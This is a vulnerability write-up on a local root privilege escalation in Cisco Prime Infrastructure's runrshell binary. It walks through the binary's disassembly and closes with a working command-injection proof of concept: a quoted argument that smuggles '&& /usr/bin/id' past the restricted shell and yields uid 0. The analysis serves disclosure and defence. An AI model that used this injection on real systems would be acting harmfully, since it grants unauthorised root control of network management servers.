Attacker Value
Unknown
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

Cisco Prime Infrastructure runrshell Local Privilege Escalation Vulnerability

Last updated February 13, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

 Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.

A vulnerability was found in the runrshell binary, which would allow a local user to gain control under the context of root. It is also chained by other publicly known CPI remote exploits to get root in one shot, such as CVE-2018-15379 by Pedro Ribeiro, and CVE-2019-1821 by Steven Seeley.

As of now, there appears to be no patch from Cisco.

Add Assessment

1
Technical Analysis

Background

Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.

A vulnerability was found in the runrshell binary, which would allow a local user to gain control under the context of root. It is also chained by other publicly known CPI remote exploits to get root in one shot, such as CVE-2018-15379 by Pedro Ribeiro, and CVE-2019-1821 by Steven Seeley.

As of now, there appears to be no patch from Cisco.

System Setup

All versions of Cisco Prime Infrastructure should be affected by this. In order to set up a machine for testing purposes, you want to at least prepare the following:

  • 4 CPU cores.
  • 12288 MB of RAM (12 GB)
  • 350 GB of space.

Technical Details

The runrshell binary in Cisco Prime Infrastructure is rather a small C program, which looks like this in IDA:

.text:0000000000400634 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400634                 public main
.text:0000000000400634 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400634
.text:0000000000400634 var_820         = qword ptr -820h
.text:0000000000400634 var_814         = dword ptr -814h
.text:0000000000400634 dest            = byte ptr -810h
.text:0000000000400634 var_10          = dword ptr -10h
.text:0000000000400634 var_4           = dword ptr -4
.text:0000000000400634
.text:0000000000400634                 push    rbp
.text:0000000000400635                 mov     rbp, rsp
.text:0000000000400638                 sub     rsp, 820h
.text:000000000040063F                 mov     [rbp+var_814], edi
.text:0000000000400645                 mov     [rbp+var_820], rsi
.text:000000000040064C                 mov     edi, 0          ; uid
.text:0000000000400651                 call    _setuid
.text:0000000000400656                 mov     edi, 0          ; gid
.text:000000000040065B                 call    _setgid
.text:0000000000400660                 mov     edx, 1          ; replace
.text:0000000000400665                 mov     esi, offset value ; "/opt/CSCOlumos/rcmds"
.text:000000000040066A                 mov     edi, offset name ; "PATH"
.text:000000000040066F                 call    _setenv
.text:0000000000400674                 mov     ecx, offset aBinBashRC ; "/bin/bash -r -c \""
.text:0000000000400679                 lea     rax, [rbp+dest]
.text:0000000000400680                 mov     edx, 12h        ; n
.text:0000000000400685                 mov     rsi, rcx        ; src
.text:0000000000400688                 mov     rdi, rax        ; dest
.text:000000000040068B                 call    _memcpy
.text:0000000000400690                 mov     [rbp+var_4], 0
.text:0000000000400697                 mov     [rbp+var_4], 1
.text:000000000040069E                 jmp     short loc_4006E3
.text:00000000004006A0 ; ---------------------------------------------------------------------------
.text:00000000004006A0
.text:00000000004006A0 loc_4006A0:                             ; CODE XREF: main+BB↓j
.text:00000000004006A0                 mov     eax, [rbp+var_4]
.text:00000000004006A3                 cdqe
.text:00000000004006A5                 shl     rax, 3
.text:00000000004006A9                 add     rax, [rbp+var_820]
.text:00000000004006B0                 mov     rax, [rax]
.text:00000000004006B3                 mov     rdx, rax
.text:00000000004006B6                 lea     rax, [rbp+dest]
.text:00000000004006BD                 mov     rsi, rdx        ; src
.text:00000000004006C0                 mov     rdi, rax        ; dest
.text:00000000004006C3                 call    _strcat
.text:00000000004006C8                 mov     edx, offset src ; " "
.text:00000000004006CD                 lea     rax, [rbp+dest]
.text:00000000004006D4                 mov     rsi, rdx        ; src
.text:00000000004006D7                 mov     rdi, rax        ; dest
.text:00000000004006DA                 call    _strcat
.text:00000000004006DF                 add     [rbp+var_4], 1
.text:00000000004006E3
.text:00000000004006E3 loc_4006E3:                             ; CODE XREF: main+6A↑j
.text:00000000004006E3                 mov     eax, [rbp+var_814]
.text:00000000004006E9                 sub     eax, 1
.text:00000000004006EC                 cmp     eax, [rbp+var_4]
.text:00000000004006EF                 jge     short loc_4006A0
.text:00000000004006F1                 mov     edx, offset asc_400856 ; "\""
.text:00000000004006F6                 lea     rax, [rbp+dest]
.text:00000000004006FD                 mov     rsi, rdx        ; src
.text:0000000000400700                 mov     rdi, rax        ; dest
.text:0000000000400703                 call    _strcat
.text:0000000000400708                 lea     rax, [rbp+dest]
.text:000000000040070F                 mov     rdi, rax        ; command
.text:0000000000400712                 call    _system
.text:0000000000400717                 mov     [rbp+var_10], 0
.text:000000000040071E                 mov     [rbp+var_10], eax
.text:0000000000400721                 mov     eax, [rbp+var_10]
.text:0000000000400724                 and     eax, 0FF00h
.text:0000000000400729                 sar     eax, 8
.text:000000000040072C                 leave
.text:000000000040072D                 retn
.text:000000000040072D main            endp

We can see that initially, the binary wants to be run as root:

mov     [rbp+var_814], edi
mov     [rbp+var_820], rsi
mov     edi, 0          ; uid
call    _setuid
mov     edi, 0          ; gid
call    _setgid

The next thing that happens is, it tries to set the PATH environment variable to a specific path, which intends to limit what the user can execute:

mov     edx, 1          ; replace
mov     esi, offset value ; "/opt/CSCOlumos/rcmds"
mov     edi, offset name ; "PATH"
call    _setenv

Not only that, the program also wants to spawn a restricted shell, probably trying to guard the PATH variable being changed, plus other protections.

mov     ecx, offset aBinBashRC ; "/bin/bash -r -c \""
lea     rax, [rbp+dest]
mov     edx, 12h        ; n
mov     rsi, rcx        ; src
mov     rdi, rax        ; dest
call    _memcpy

However, all this falls apart when the program uses system() to execute the command, with the user having control of the dest argument, allowing command injection:

mov     edx, offset asc_400856 ; "\""
lea     rax, [rbp+dest]
mov     rsi, rdx        ; src
mov     rdi, rax        ; dest
call    _strcat
lea     rax, [rbp+dest]
mov     rdi, rax        ; command
call    _system

As a result, we can still execute arbitrary commands with runrshell:

ade # id   
uid=500(admin) gid=110(gadmin) groups=110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023
ade # /opt/CSCOlumos/bin/runrshell '" && /usr/bin/id #'
uid=0(root) gid=0(root) groups=0(root),110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023
ade # 

General Information

Additional Info

Technical Analysis